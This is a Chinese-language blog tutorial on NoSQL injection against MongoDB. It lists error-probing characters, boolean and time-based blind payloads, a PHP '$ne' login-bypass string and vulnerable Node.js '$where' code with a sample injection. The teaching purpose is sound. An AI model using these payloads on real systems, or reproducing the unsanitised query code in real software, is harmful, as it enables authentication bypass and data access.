NoSQL Injection
ssooking Lv5

前言

NoSQL (Not Only SQL),非关系型数据库,适用于超大规模数据的存储,目前作为分布式云平台和 Web 应用程序的后端数据库越来越受欢迎。NoSQL 数据存储不像关系数据库那样将数据存储在表中,而是存储使用更适合于特定目的的其他数据模型,如文档、图表、对象等。

NoSQL数据库不使用SQL通用查询语言。NoSQL查询语法是由应用程序的编程语言决定的:PHP、JavaScript、Python、Java 等。因此攻击者不仅可以在数据库中执行命令,还可以在应用程序本身中执行命令。

MongoDB是目前最流行的NoSQL 数据库产品之一,它使用类似于 JSON(JavaScript Object Notation)的语法将数据存储为文档,还允许开发人员仅使用 JavaScript构建全栈应用程序。下面我们使用MongoDB查询来演示NoSQL注入攻击。

MongoDB语法和操作符

MongoDB语法和操作符可参考MongoDB 教程。条件操作符有:

  • (>) 大于 - $gt
  • (<) 小于 - $lt
  • (>=) 大于等于 - $gte
  • (<= ) 小于等于 - $lte
  • ( != ) 不等于 - $ne
  • ( = ) 等于 - $eq

可能存在注入的位置

  • 认证表格
  • 过滤或搜索表单
  • 标题和cookie

注入手法

报错注入

通过输入一些特殊的NoSQL字符,查看服务器是否返回错误,以此查看可能泄露的信息。报错信息可能暴露当前使用的是NoSQL数据库,或者类似500的错误。

1
' " \ / $ [ ] . > ; { } ( )

测试方法:

  • 将特殊字符插入每个参数中观察是否发生错误
  • 用这些特殊字符或NoSQL关键字(如 $ne、$eq、$where、$or 等)替换已发布的 JSON 内容中的元素,观察是否有错误。
  • 发送附加对象以及有效的 JSON。如{"user": "nullsweep"}可以改为{"user": ["nullsweep", "foo"]}{"$or": [{"user": "foo"}, {"user": "realuser"}]}

其中一些字符或短语还可能触发其他注入漏洞(JS 注入、SQL 注入、shell 注入等),因此可能需要进一步测试以确保它是 NoSQL 后端。

布尔型盲注

通过布尔表达式(true或false结果、0或1等)观察页面响应情况来进行注入。常见语法:

1
2
3
4
5
6
7
8
{"$ne": -1}
{"$in": []}
{"$and": [ {"id": 5}, {"id": 6} ]}
{"$where": "return true"}
{"$or": [{},{"foo":"1"}]}
site.com/page?query=term || '1'=='1
site.com/page?user[$ne]=nobody
site.com/page?user=;return true

可能需要尝试附加某些字符以正确终止查询:

1
2
3
4
5
//
%00
'

一定数量的右括号或大括号,以某种组合

时间盲注

注入sleep函数让页面产生延时,以此判断注入语句是否执行。

1
2
{"$where":  "sleep(100)"}
;sleep(100);

注入示例

PHP MongoDB注入

PHP语言有一个特性:允许用户通过将URL参数更改为带数组括号的参数来将查询字符串数据类型更改为数组。

1
2
http://test.com/page?parameter=value //normal URL
http://test.com/page?[parameter]=value //PHP treats input as an array now

攻击者可以利用这个特性,尝试在字段值中注入MongoDB运算符,如$eq(等于)、$ne(不等于)或$gt(大于)来达到永真或永假的条件进行查询。下面是一个基础的php数据库查询方法,参数值来自表单post参数:

1
$query = array("user" => $_POST["username"], "password" => $_POST["password"]);

如果获取的参数直接用于数据库查询以检查登录凭据,通过注入操作符参数值作为数组处理:

1
?username[$ne]=1&password[$ne]=1

后端php会将其转换为:

1
array("username" => array("$ne" => 1), "password" => array("$ne" => 1));

这将找到用户名和密码不等于1的所有用户,这很可能是永真查询,因此可能导致攻击者绕过身份验证。

MongoDB JavaScript注入

MongoDB API通常需要BSON(二进制 JSON)数据,但允许使用一些 JSON 和未序列化的 JavaScript 表达式。

阅读Mongodb文档可知,MongoDB允许在服务器上执行JavaScript的$wheremapReduce操作符。

如下是检索用户名信息的示例代码:

1
2
3
4
5
6
7
8
9
let username = req.query.username;
query = { $where: `this.username == '${username}'` }
User.find(query, function (err, users) {
if (err) {
// Handle errors
} else {
res.render('userlookup', { title: 'User Lookup', users: users });
}
});

用于检索的用户名字符串直接从请求中获取,没有进行任何过滤。假如我们注入' || 'a'=='a,则后端查询结构则变为了:

1
$where: `this.username == '' || 'a'=='a'`

查询结果总为真,实现了注入攻击。

假设服务器存在下面的查询逻辑,用户data数据未经过滤

1
2
db.collection.find( { $where: function() { 
return (this.name == $userData) } } );

攻击者可能会向$userData参数注入如'a'; sleep(5000)的字符串。服务器执行的查询将是:

1
2
db.collection.find( { $where: function() { 
return (this.name == 'a'; sleep(5000) ) } } );

这样将导致时间盲注。

处于安全考虑,可以禁用JavaScript在服务器端的执行:

测试工具

参考

  • Post title:NoSQL Injection
  • Post author:ssooking
  • Create time:2020-07-17 18:02:00
  • Post link:https://ssooking.github.io/2020/07/nosql-injection/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.